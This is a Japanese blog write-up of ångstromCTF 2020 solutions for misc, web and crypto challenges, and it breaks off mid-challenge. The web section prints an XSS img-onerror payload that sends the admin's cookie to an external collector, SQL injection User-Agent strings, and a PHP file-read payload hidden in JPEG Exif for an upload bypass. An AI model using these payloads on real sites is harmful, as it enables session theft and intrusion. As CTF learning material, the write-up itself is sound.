kuzushikiのぺーじ

セキュリティに関することを書きたいですね

GitHub Twitter

ångstromCTF 2020 write up

ångstromCTF 2020に参加しました!

(team: score_gazer)

自分は1770点を入れ、順位は204位 / 1596チーム(0点は除く)でした。

キャプチャ

FireShot Capture 025 - Challenges - ångstromCTF 2020 - 2020 angstromctf com

write upを書いていきます

MISC

Sanity Check (Misc, 5 pts, 1002 solves)

Join our Discord!
https://discord.gg/Dduuscw

問題文のURLにアクセスするとyoutubeに飛ばされます。

CTFページヘッダーのChatからDiscordに行きましょう。

#generalの上部にフラグが書かれています。

actf{never_gonna_let_you_down}

Survey (Misc, 5 pts, 367 solves)

Thanks for playing this CTF! Please fill out our survey so that we can improve ångstromCTF next year. This challenge does not affect time-based tiebreakers.

アンケート問題です。

答えるとフラグがゲットできます。

actf{never_gonna_run_around_and_desert_you}

ws1 (Misc, 30 pts, 1225 solves)

Find my password from this recording (:

問題ファイル: recording.pcapng

wiresharkでパケットを確認していくと、

TCPパケットにフラグが書かれていました。

キャプチャww

actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}

平文で書かれているのでstringsコマンドでも確認できました。

root@kali:/media/sf_share/CTF/angstrom# strings recording.pcapng  | grep actf
flagz,actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}

clam clam clam (Misc, 70 pts, 495 solves)

clam clam clam clam clam clam clam clam clam nc misc.2020.chall.actf.co 20204 clam clam clam clam clam clam

問題文にncコマンドが書かれているので、アクセスしてみます。

root@kali:/media/sf_share/CTF/angstrom# nc misc.2020.chall.actf.co 20204
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
malc{malc_malc_malc_malc_malc}
clam{clam_clam_clam_clam_clam}
:
:
延々と続く

おそらく見えない文字で何かが隠されているのでしょう。

pythonでサーバからの通信を受け取ってバイトのまま表示してみます。

from pwn import *

io = remote('misc.2020.chall.actf.co', 20204)
while True:
    data = io.recvline()
    print(data)

実行結果は以下の通り

:
:
b'clam{clam_clam_clam_clam_clam}\n'
b'type "clamclam" for salvation\rmalc{malc_malc_malc_malc_malc}\n'
b'clam{clam_clam_clam_clam_clam}\n'
:
:

b'type "clamclam" for salvation\r

と書かれていました。

\rで上書きされており見えなかったのでした。

上記メッセージを受け取ったらclamclamを返すようにプログラムを改良しましょう

from pwn import *

io = remote('misc.2020.chall.actf.co', 20204)

while True:
    data = io.recvline()
    if data != b'clam{clam_clam_clam_clam_clam}\n' and data != b'malc{malc_malc_malc_malc_malc}\n':
        io.sendline(b'clamclam')
    print(data)

フラグが返ってきました!!

root@kali:/media/sf_share/CTF/angstrom# python3 calm.py 
[+] Opening connection to misc.2020.chall.actf.co on port 20204: Done
b'type "clamclam" for salvation\rmalc{malc_malc_malc_malc_malc}\n'
b'actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}\n'

ws2 (Misc, 80 pts, 811 solves)

No ascii, not problem :)

問題ファイル: recording2.pcapng

どうやら今度は平文ではないようです。

こんな時はwiresharkのオブジェクト抽出機能を使ってみます。

File -> Export Objects -> HTTPと選択すると、いくつかのオブジェクトが検出されました。

全て保存してcatコマンドで見てみました。

一部を表示します。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Upload Result Page</title>
<body>
<h2>Upload Result Page</h2>
<hr>
<strong>Success:</strong>File '/Users/toaster/Desktop/personal/projects/angstromctf/2020/misc/ws2/flag.jpg' upload success!<br><a href="http://localhost/">back</a><hr><small>Powerd By: bones7456, check new version at <a href="http://li2z.cn/?s=SimpleHTTPServerWithUpload">here</a>.</small></body>
</html>

どうやらflag.jpgというファイルがやり取りされているようです。

しかしjpgファイルは抽出できていません。

ここでNetworkMinerという別のツールを使うことにしました。

pcapng形式に対応していないので、一度wiresharkpcap形式にしてから開きます。

画像が確認できました!!

flag

画像左下にフラグが書いてあります。

PSK (Misc, 90 pts, 270 solves)

My friend sent my yet another mysterious recording...

He told me he was inspired by PicoCTF 2019 and made his own transmissions. I've looked at it, and it seems to be really compact and efficient.

Only 31 bps!!

See if you can decode what he sent to me. It's in actf{} format

PicoCTF 2019ではSSTVという通信方式(音声から映像に変換可能)の問題が出題されました。

今回もその類の問題でしょう。

PSK decode toolなどのワードで検索すると、MultiPSKというツールが見つかりました。

このツール、とても使いづらかったです。

今後のために、音声信号から文字列を得る方法を記載していきます。

まず開くとこの画面が。

キャプチャpsk

左下にあるRX/TX screenボタンを押しましょう。

(音声ファイルを選択する箇所がありますが、有料アカウントでないと使えないようです。)

そして問題ファイルの音声を読み込ませると、信号のピークが1500Hz付近に現れます。

(PCの音声入力設定をシステムミキサーにすることで、PCで再生した音をそのまま読み込ませることが可能です)

そして信号のピーク部分を選択すると、その部分が青くなり、信号を読み込めます。

キャプチャpsk2

画面下部にフラグが現れます。

actf{hamhamhamhamham}

Inputter (Misc, 100 pts, 369 solves)

Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in a challenge. Can you satisfy his knack for strange and hard-to-input characters? Source.

Find it on the shell server at /problems/2020/inputter/.

まず問題のソースを見てみましょう

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define FLAGSIZE 128

void print_flag() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    FILE *file = fopen("flag.txt", "r");
    char flag[FLAGSIZE];
    if (file == NULL) {
        printf("Cannot read flag file.\n");
        exit(1);
    }
    fgets(flag, FLAGSIZE, file);
    printf("%s", flag);
}

int main(int argc, char* argv[]) {
    setvbuf(stdout, NULL, _IONBF, 0);
    if (argc != 2) {
        puts("Your argument count isn't right.");
        return 1;
    }
    if (strcmp(argv[1], " \n'\"\x07")) {
        puts("Your argument isn't right.");
        return 1;
    }
    char buf[128];
    fgets(buf, 128, stdin);
    if (strcmp(buf, "\x00\x01\x02\x03\n")) {
        puts("Your input isn't right.");
        return 1;
    }
    puts("You seem to know what you're doing.");
    print_flag();
}

値の比較をしている箇所が2つあります。 strcmp(argv[1], " \n'\"\x07") strcmp(buf, "\x00\x01\x02\x03\n")

これを両方一致させればクリアのようです。

\x07などの文字をshellから読み込ませるのは難しいので、今回はpython3subprocessを使いました。

argを引数、inputを入力とすると、

subprocess.run(["./inputter", arg], input=input)

inputterに値を渡すことができます。

team5954@actf:/problems/2020/inputter$ python3
Python 3.5.2 (default, Oct  8 2019, 13:06:37)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> arg = ' \n\'"\x07'
>>> input = b'\x00\x01\x02\x03\n'
>>> subprocess.run(["./inputter", arg], input=input)
You seem to know what you're doing.
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}
CompletedProcess(args=['./inputter', ' \n\'"\x07'], returncode=0)

actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}

msd (Misc, 140 pts, 198 solves)

You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the Most Significant Digit. Can you still power through it?

Here's the encoded image, and here's the original image, for the... well, you'll see.

Important: Redownload the image if you have one from before 11:30 AM 3/14/20. Important: Don't use Python 3.8, use an older version of Python 3!

暗号化した画像、元の画像、プログラムのソースが与えられます。

とりあえずソースを見てみましょう。

from PIL import Image

im = Image.open('breathe.jpg')
im2 = Image.open("breathe.jpg")

width, height = im.size

flag = "REDACT"
flag = ''.join([str(ord(i)) for i in flag])


def encode(i, d):
    i = list(str(i))
    i[0] = d

    return int(''.join(i))
    

c = 0

for j in range(height):
    for i in range(width):
        data = []
        for a in im.getpixel((i,j)):
            data.append(encode(a, flag[c % len(flag)]))

            c+=1

        im.putpixel((i,j), tuple(data))
        
im.save("output.png")
pixels = im.load()

フラグの文字コードを文字列として繋げたものを鍵として使っているようです。

こんな感じです。

>>> flag = "REDACT"
>>> ''.join([str(ord(i)) for i in flag])
'826968656784'

鍵は1桁ずつ使っているので必ず0~9の範囲であることが分かります。

よって、元画像を0~9の総当たりで暗号化し、暗号化した画像と比べていけばフラグを復元できそうです。

from PIL import Image
im = Image.open('breathe.jpg')
im2 = Image.open('output.png')
width, height = im.size

def encode(i, d):
    i = list(str(i))
    i[0] = d
    return int(''.join(i))

flag = ''
buf = ''
for j in range(height):
    for i in range(width):
        for a,b in zip(im.getpixel((i,j)), im2.getpixel((i,j))):
            for s in '0123456789':
                if encode(a, s) == b:
                    buf += s
                    if len(buf) == 4:
                        buf = buf[1:]

                    if ord('!') <= int(buf) < ord('}'):
                        flag += chr(int(buf))
                        buf = ''
                    elif int(buf) == ord('}'):
                        flag += chr(int(buf))
print(flag)

綺麗にフラグが復元されるはずでしたが、関係ない文字列が大量にでてきてしまいました。

フラグフォーマットであるactfで検索すると、フラグが見つかりました!!

actf{inhale_exhale_ezpz-12309biggyhaby}

Shifter (Misc, 160 pts, 454 solves)

What a strange challenge...

It'll be no problem for you, of course!

nc misc.2020.chall.actf.co 20300

ncコマンドを使ってみましょう

PS C:\Users\kuzushiki\Desktop> nc misc.2020.chall.actf.co 20300                       Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift UUQWIZSFTWAAMYFCB by n=38

与えられた文字列をシフトして返してあげれば良さそうです。

フィボナッチ数列でp番目の値の分だけシフトする必要があります。

from pwn import *

def shift_p(enc, p):
    dec = ''
    for c in enc:
        dec += chr((ord(c) - ord('A') + p) % 26 + ord('A'))
    return dec

def fib(n):
    a, b = 0, 1
    if n == 1:
        return a
    elif n == 2:
        return b
    else:
        for i in range(n-2):
            a, b = b, a + b
        return b

io = remote('misc.2020.chall.actf.co', 20300)

io.recvuntil(b'--------------------\n')

for i in range(50):
    data = io.recv().decode('utf-8')
    enc = data.split()[1]
    shift = data.split('=')[-1].split('\n')[0]
    print(enc, shift)
    dec = shift_p(enc, fib(int(shift, 10)+1))
    print(dec)
    io.sendline(dec.encode())
print(io.recv())

結果は以下の通り。

OBBQQWTOJD 9
WJJYYEBWRL
:
:
長いので省略
:
:
CQFESMMOXICXCZTYYUYJHFXKCRBJIPGXAHNIXIQRMOGWXGHR 33
UIXWKEEGPAUPURLQQMQBZXPCUJTBAHYPSZFAPAIJEGYOPYZJ
AIRDSGYTAKLPNZBTMEL 23
FNWIXLDYFPQUSEGYRJQ
OPUTOYPULZQQSXXNCXEWZHNEQEXOXOOQYJGBYRY 38
RSXWRBSXOCTTVAAQFAHZCKQHTHARARRTBMJEBUB
GPUUHSOYMPNFXGTGKKWBFAPZJWMYIIDPYAZHBIXIU 33
YHMMZKGQEHFXPYLYCCOTXSHRBOEQAAVHQSRZTAPAM
b'actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}\n'

フラグが得られました!!

actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

WEB

The Magic Word (Web, 20 pts, 1304 solves)

Ask and you shall receive...that is as long as you use the magic word.

問題ページにアクセスすると、give flagという文字が。

ソースのscript部分を見てみます。

        <script>
            var msg = document.getElementById("magic");
            setInterval(function() {
                if (magic.innerText == "please give flag") {
                    fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
                        .then(res => res.text())
                        .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
                }
            }, 1000);
        </script>

どうやらgive flagplease give flagにすれば良さそうです。

magic

フラグがでてきました!!

actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

Xmas Still Stands (Web, 50 pts, 459 solves)

You remember when I said I dropped clam's tables? Well that was on Xmas day.
And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas.
Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?

問題ページでは、記事の投稿と報告ができるようです。

また、管理者ページもありますが、クッキー情報による認証をしており、弾かれてしまします。

管理者のクッキーを手に入れましょう。

問題名からしてXSSの脆弱性がありそうです。

以下のような記事を投稿しました。 <s>test</s>

記事へのリンクが出てくるので確認してみると、 ちゃんと<s>タグが認識されていました。

キャプチャxss

もし<script>タグが認識されればスクリプトを実行することができます。

しかし、以下のスクリプトは実行されませんでした。

<script>alert(1)</script>

おそらく<script>タグを弾いているのでしょう。

XSSフィルター回避手法の1つとして、<IMG>タグを使う方法があります。

<IMG SRC=/ onerror="alert(1)"></img>

試してみると、ちゃんと実行されました!

キャプチャxss2

それではクッキー情報を特定のサーバに送るスクリプトを投稿してみましょう。

<IMG SRC=/  onerror="document.location='[ここは好きなように]?c='+document.cookie"></img>

自分でサーバを立てても良いですが、Requestbinというサイトを使うと簡単にアドレスが得られ、そこに飛んでくるリクエストを記録することができるのでオススメです。

今回欲しいのは管理者のクッキー情報なので、投稿内容をreportページで管理者に報告します。

すると以下のようなリクエストが送られてきました。

FireShot Capture 026 - RequestBin com — A modern request bin to collect, inspect and debug H_ - requestbin com

このクッキー情報をadminページでの認証に使ってみましょう!

root@kali:/media/sf_share/CTF/angstrom/rev# curl -i -b 'super_secret_admin_cookie=hello_yes_i_am_admin; admin_name=Jeff' https://xmas.2020.chall.actf.co/admin

(途中は省略)

<p>Hey admins, you may have noticed that we've changed things up a bit. There's no longer any cumbersome, bruteforceable login system. All you need is the secret cookie verifying that you're an admin and you can get the flag anytime you want. Also, if you're not an admin PLEASE LEAVE THIS PAGE YOU DON'T BELONG HERE AND I WILL HUNT YOU DOWN AND RUIN YOUR DAY IF YOU STAY HERE. Disclaimer: I will not actually hunt you down or physically hurt you in any way, shape, or form, please don't sue me thanks.</p>
        <p>Oh hey admin! The flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}.</p>

フラグが得られました!!!

actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}

Git Good (Web, 70 pts, 536 solves)

Did you know that angstrom has a git repo for all the challenges? 
I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

問題ページにアクセスしても特に手掛かりは無さそうです。

問題名からしてgitに関係あるのでしょう

/.gitにアクセスできるか試してみましょう。

root@kali:/media/sf_share/CTF/angstrom# curl https://gitgood.2020.chall.actf.co/.git/logs/HEAD
0000000000000000000000000000000000000000 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 aplet123 <jasonqan2004@gmail.com> 1583598444 +0000	commit (initial): haha I lied this is the actual initial commit
6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 e975d678f209da09fff763cd297a6ed8dd77bb35 aplet123 <jasonqan2004@gmail.com> 1583598464 +0000	commit: Initial commit

アクセスできました!!

というわけでgit cloneをしましょう

root@kali:/media/sf_share/CTF/angstrom# git clone https://gitgood.2020.chall.actf.co/.git/
Cloning into 'gitgood.2020.chall.actf.co'...

中を見るとthisistheflag.txtというファイルがありますが、変更されてしまっています。

root@kali:/media/sf_share/CTF/angstrom/gitgood.2020.chall.actf.co# ls
index.html  package.json       thisistheflag.txt
index.js    package-lock.json
root@kali:/media/sf_share/CTF/angstrom/gitgood.2020.chall.actf.co# cat thisistheflag.txt 
There used to be a flag here...

本当のinitial commitの変更履歴を見てみましょう

root@kali:/media/sf_share/CTF/angstrom/gitgood.2020.chall.actf.co# git diff -p 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5
diff --git a/thisistheflag.txt b/thisistheflag.txt
index 0f52598..247c9d4 100644
--- a/thisistheflag.txt
+++ b/thisistheflag.txt
@@ -1,3 +1 @@
-actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}
-
-btw this isn't the actual git server
+There used to be a flag here...

フラグが出てきました!!

actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

Secret Agents (Web, 110 pts, 520 solves)

Can you enter the secret agent portal? I've heard someone has a flag :eyes:

Our insider leaked the source, but was "terminated" shortly thereafter...

まず問題ページのソースを見てみましょう

<!DOCTYPE html>

<html>
<head>
	<title>Super Secret Agents Portal</title>
</head>
<body style="padding: 50px">
	<h1>Welcome to the Super Secret Agents official site!</h1><br /><br />
	<p>Only super secret agents will be able to enter... will  you?</p><br />
	<p>Unfortunately for the not-so-super-secret agents, our advanced AI neural network blockchain big data Python3.5 Docker DigitalOcean military-grade encryption cybersecurity algorithm will keep them out without needing a login system!</p><br />
	
	<p>Here's the secret: actual secret agents have their OWN BROWSERS!!!!! NOT POSERS</p><br />
	<p>Will it let you in? Enter!</p><br /><br />
	<form method="GET" action="/login">
		<input type="submit" value="lemme get in">
	</form>
</body>
</html>

どうやら正しいユーザエージェント(以下UA)を設定して/loginにアクセスすれば良さそうです。

サーバサイドのプログラムについてもソースがあるので読んでみましょう。

from flask import Flask, render_template, request
#from flask_limiter import Limiter
#from flask_limiter.util import get_remote_address

from .secret import host, user, passwd, dbname

import mysql.connector


dbconfig = {
	"host":host,
	"user":user,
	"passwd":passwd,
	"database":dbname
}

app = Flask(__name__)
"""
limiter = Limiter(
	app,
	key_func=get_remote_address,
	default_limits=["1 per second"],
)"""


#@limiter.exempt
@app.route("/")
def index():
	return render_template("index.html")


@app.route("/login")
def login():
	u = request.headers.get("User-Agent")

	conn = mysql.connector.connect(
					**dbconfig
					)

	cursor = conn.cursor()

	#cursor.execute("SET GLOBAL connect_timeout=1")
	#cursor.execute("SET GLOVAL wait_timeout=1")	
	#cursor.execute("SET GLOBAL interactive_timeout=1")

	for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
		if r.with_rows:
			res = r.fetchall()
			break

	cursor.close()
	conn.close()

	

	if len(res) == 0:
		return render_template("login.html", msg="stop! you're not allowed in here >:)")

	if len(res) > 1:
		return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


	return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

if __name__ == '__main__':
	app.run('0.0.0.0')

以下の部分にSQLインジェクションの脆弱性がありそうです

for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
	if r.with_rows:
		res = r.fetchall()
		break

試しに' or 1=1--'をUAに設定して/loginにアクセスしてみましょう

上手くいけば%sの部分が置き換わるので、

SELECT * FROM Agents WHERE UA='' or 1=1--''

という命令になるのでDBから全てのUAを抽出できます。

root@kali:/media/sf_share/CTF/angstrom# curl https://agents.2020.chall.actf.co/login? -A "' or 1=1--'"
<!DOCTYPE html>

<html>
<head>
	<title>Super Secret Agents Login</title>
</head>
<body style="padding: 50px">
	<p>hey! close, but no bananananananananana!!!! (there are many secret agents of course)</p>
</body>
</html>

どうやら上手くいったようです。

が、まだフラグは得られません。

there are many secret agents of courseと書かれているように、複数のUAが設定されてしまうからでしょう。

これを解決するために、limit, offset句を指定してあげましょう。

例えば以下のような命令にすることで、

' or 'A'='A' limit X offset Y;--'

該当したUAのY番目からX個のものを設定することができます。

色々試した結果、以下のリクエストを送ることでフラグが得られました!!

root@kali:~# curl https://agents.2020.chall.actf.co/login? -A "' or 'A'='A' limit 1 offset 2;--'"
<!DOCTYPE html>

<html>
<head>
	<title>Super Secret Agents Login</title>
</head>
<body style="padding: 50px">
	<p>Welcome, actf{nyoom_1_4m_sp33d}</p>
</body>
</html>

actf{nyoom_1_4m_sp33d}

Defund’s Crypt (Web, 120 pts, 303 solves)

One year since defund's descent. One crypt. One void to fill. Clam must do it, and so must you.

問題ページのソースを見てみましょう

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="/style.css">
        <title>Defund's Crypt</title>
    </head>
    <body>
        <!-- Defund was a big fan of open source so head over to /src.php -->
        <!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
        <h1>Defund's Crypt<span class="small">o</span></h1>
                <img src="crypt.jpg" height="300"/>
        <form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data">
            <p>Leave a memory:</p>
            <input type="file" id="imgfile" name="imgfile">
            <label for="imgfile" id="imglbl">Choose an image...</label>
            <input type="submit" value="Descend">
        </form>
        <script>
            imgfile.oninput = _ => {
                imgfile.classList.add("satisfied");
                imglbl.innerText = imgfile.files[0].name;
            };
        </script>
    </body>
</html>

/flag.txtにフラグがあるようです。が、直接アクセスすることはできません。

どうやら/src.phpにアクセスするとphpのソースが確認できるようです。

<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // I just copy pasted this from the PHP site then modified it a bit
    // I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall
    try {
        if (
            !isset($_FILES['imgfile']['error']) ||
            is_array($_FILES['imgfile']['error'])
        ) {
            throw new RuntimeException('The crypt rejects you.');
        }
        switch ($_FILES['imgfile']['error']) {
            case UPLOAD_ERR_OK:
                break;
            case UPLOAD_ERR_NO_FILE:
                throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.');
            case UPLOAD_ERR_INI_SIZE:
            case UPLOAD_ERR_FORM_SIZE:
                throw new RuntimeException('People can only remember so much.');
            default:
                throw new RuntimeException('The crypt rejects you.');
        }
        if ($_FILES['imgfile']['size'] > 1000000) {
            throw new RuntimeException('People can only remember so much..');
        }
        $finfo = new finfo(FILEINFO_MIME_TYPE);
        if (false === $ext = array_search(
            $finfo->file($_FILES['imgfile']['tmp_name']),
            array(
                '.jpg' => 'image/jpeg',
                '.png' => 'image/png',
                '.bmp' => 'image/bmp',
            ),
            true
        )) {
            throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
        }
        if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
            throw new RuntimeException("The name of your memory doesn't seem to match its content.");
        }
        $bname = basename($_FILES["imgfile"]["name"]);
        $fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
        if (!move_uploaded_file(
            $_FILES['imgfile']['tmp_name'],
            "./memories/" . $fname
        )) {
            throw new RuntimeException('Your memory failed to be remembered.');
        }
        http_response_code(301);
        header("Location: /memories/" . $fname);
    } catch (RuntimeException $e) {
        echo "<p>" . $e->getMessage() . "</p>";
    }
}
?>

いくつかのチェックを潜り抜ければファイルをアップロードできるようです。

以下の部分でファイルが画像かどうかをチェックしています。

if (false === $ext = array_search(
    $finfo->file($_FILES['imgfile']['tmp_name']),
    array(
        '.jpg' => 'image/jpeg',
        '.png' => 'image/png',
        '.bmp' => 'image/bmp',
    ),
    true
)) {
    throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");

例えばファイルに.jpgが含まれていればファイルのMIMEタイプをimage/jpegに設定します。

ここを上手くやり過ごして、例えばphpファイルなどをアップロードして実行させることはできないでしょうか?

色々調べた結果、このサイトに辿り着きました。

何とjpgファイルのExifに書かれたPHPコードが実行される場合があるようです。

試してみましょう。

以下のようなjpgファイルを作成し、拡張子を.jpg.phpのようにしてからアップロードを試みます。

キャプチャimgup

画像は別に何でも構いません。

以下のコードを仕込むことによって、/flag.txtを読み込んで表示させます。

<?php $flag = file_get_contents('/flag.txt'); echo $flag; ?>

画像に仕込んだコードが実行され、フラグが表示されました。

FireShot Capture 027 -  - crypt 2020 chall actf co

actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}

CRYPTO

Keysar (Crypto, 40 pts, 867 solves)

Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.

He mumbled what cipher he used, but I think I have a clue.

Gotta go though, I have history homework!!

agqr{yue_stdcgciup_padas}

暗号化されたフラグからシーザー暗号だと推測できます。

鍵はANGSTROMCTFということなので、このサイトで復号しました。

FireShot Capture 028 - Keyed Caesar Cipher (online tool) - Boxentriq - www boxentriq com

actf{yum_delicious_salad}

Reasonably Strong Algorithm (Crypto, 70 pts, 742 solves)

RSA strikes again!

RSA暗号の問題です。

以下のパラメータが与えられます。

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

nがやけに小さいです。

RSA暗号はnの素因数分解ができると解けてしまいます。

nを素因数分解してみましょう。

このサイトnを投げるとn = p * qとなるp, qを得ることができました。

FireShot Capture 029 - factordb com - factordb com

得られた値を使って復号しましょう!

from Crypto.Util import number
import math

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

p = 9336949138571181619
q = 13536574980062068373

def extgcd(a, b):
    r = [1, 0, a]
    w = [0, 1, b]

    while w[2] != 1:
        q = r[2] // w[2]
        r2 = w
        w2 = [ r[0]- q * w[0], r[1] - q * w[1], r[2]- q * w[2] ]
        r = r2
        w = w2
    return [ w[0], w[1] ]

def mod_inv(a, m):
    x = extgcd(a, m)[0]  
    return (m + x % m ) % m

l = (p - 1) * (q - 1) // math.gcd( (p - 1), (q - 1) )        # p-1とq-1の最小公倍数lを求める
d = mod_inv(e, l)                   # e * d = 1 mod lより,秘密鍵dを求める
m = pow(c, d, n)                    # c ^ d mod nより,平文mを求める
print(number.long_to_bytes(m))

実行すると、フラグを得られました!!

actf{10minutes}

Wacko Images (Crypto, 90 pts, 494 solves)

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py

The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.

暗号化された画像と暗号化プログラムのソースが与えられます。

ソースを見てみましょう。

from numpy import *
from PIL import Image

flag = Image.open(r"flag.png")
img = array(flag)

key = [41, 37, 23]

a, b, c = img.shape

for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = pixel[i] * key[i] % 251
        img[x][y] = pixel

enc = Image.fromarray(img)
enc.save('enc.png')

元画像のRGB値に[41, 37, 23]という値を掛け、251で法を取っています。

RGB値は0~255までなので総当たりしてみましょう。

from numpy import *
from PIL import Image

enc = Image.open(r"enc.png")
img = array(enc)

key = [41, 37, 23]

a, b, c = img.shape

for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        buf = []
        for i in range(0,3):
            for pix in range(0, 256):
                if pixel[i] == pix * key[i] % 251:
                    buf.append(pix)
                    break
        buf.append(pixel[-1])
        img[x][y] = buf

flag = Image.fromarray(img)
flag.save('flag.png')

少し時間がかかりますが、画像が復元できます。

flag

Confused Streaming (Crypto, 100 pts, 297 solves)

Crypto
I made a stream cipher!

nc crypto.2020.chall.actf.co 20601

ncコマンドを実行してみましょう。

PS C:\Users\kuzushiki\Desktop> nc crypto.2020.chall.actf.co 20601                     
a: 1
b: 4
c: 1
01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101

a,b,cを送ると、それに対応した暗号文が返ってくるようです。

暗号化プログラムのソースが与えられているので、見てみます。

from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
	input = raw_input
except:
	pass
getcontext().prec = 1000
def keystream(key):
	random.seed(int(os.environ["seed"]))
	e = random.randint(100,1000)
	while 1:
		d = random.randint(1,100)
		ret = Decimal('0.'+str(key ** e).split('.')[-1])
		for i in range(d):
			ret*=2
		yield int((ret//1)%2)
		e+=1
try:
	a = int(input("a: "))
	b = int(input("b: "))
	c = int(input("c: "))
	# remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
	if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
		raise Exception()
	key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
	print("bad key")
else:
	flag = binascii.hexlify(os.environ["flag"].encode())
	flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
	ret = ""
	k = keystream(key)
	for i in flag:
		ret += str(next(k)^int(i))
	print(ret)

少々複雑だったので、手元に環境を構築し動作を確認したところ、 a=1, b=4, c=1の時にフラグが暗号化されないことが分かりました。

(flag = bin(int(flag,16))[2:].zfill(len(flag)*4)retが同じ値になる)

なので、鍵などを使わない単純なエンコードを元に戻せば良さそうです。

flag = binascii.hexlify(os.environ["flag"].encode())
flag = bin(int(flag,16))[2:].zfill(len(flag)*4)

元に戻すプログラムは以下の通りです。

import random,os,sys,binascii
from decimal import *

enc_flag = '01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101'

dec_flag = binascii.unhexlify(hex(int(enc_flag,2))[2:])
print(dec_flag)

実行するとフラグが得られました!!

actf{down_to_the_decimal}

one time bad (Crypto, 100 pts, 248 solves)

My super secure service is available now!

Heck, even with the source, I bet you won't figure it out.

nc misc.2020.chall.actf.co 20301

ncコマンドが書かれているので、とりあえず実行してみましょう。

PS C:\Users\kuzushiki\Desktop> nc misc.2020.chall.actf.co 20301                       
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
        1) Request sample
        2) Try your luck at decrypting something!
> 1
HCgkLRIQJR8SFgIDKhI= with key a3JoVGtXa0tQckduR3g=
> 2
BQ==
Your answer: 1
Wrong! The correct answer was w with key r

ワンタイムパッド暗号のようです。

暗号文から平文が求められればフラグを得られますが、ワンタイムパッドで使われる乱数は毎回変わります。

ソースが配られているので見てみましょう。

import random, time
import string
import base64
import os

def otp(a, b):
	r = ""
	for i, j in zip(a, b):
		r += chr(ord(i) ^ ord(j))
	return r


def genSample():
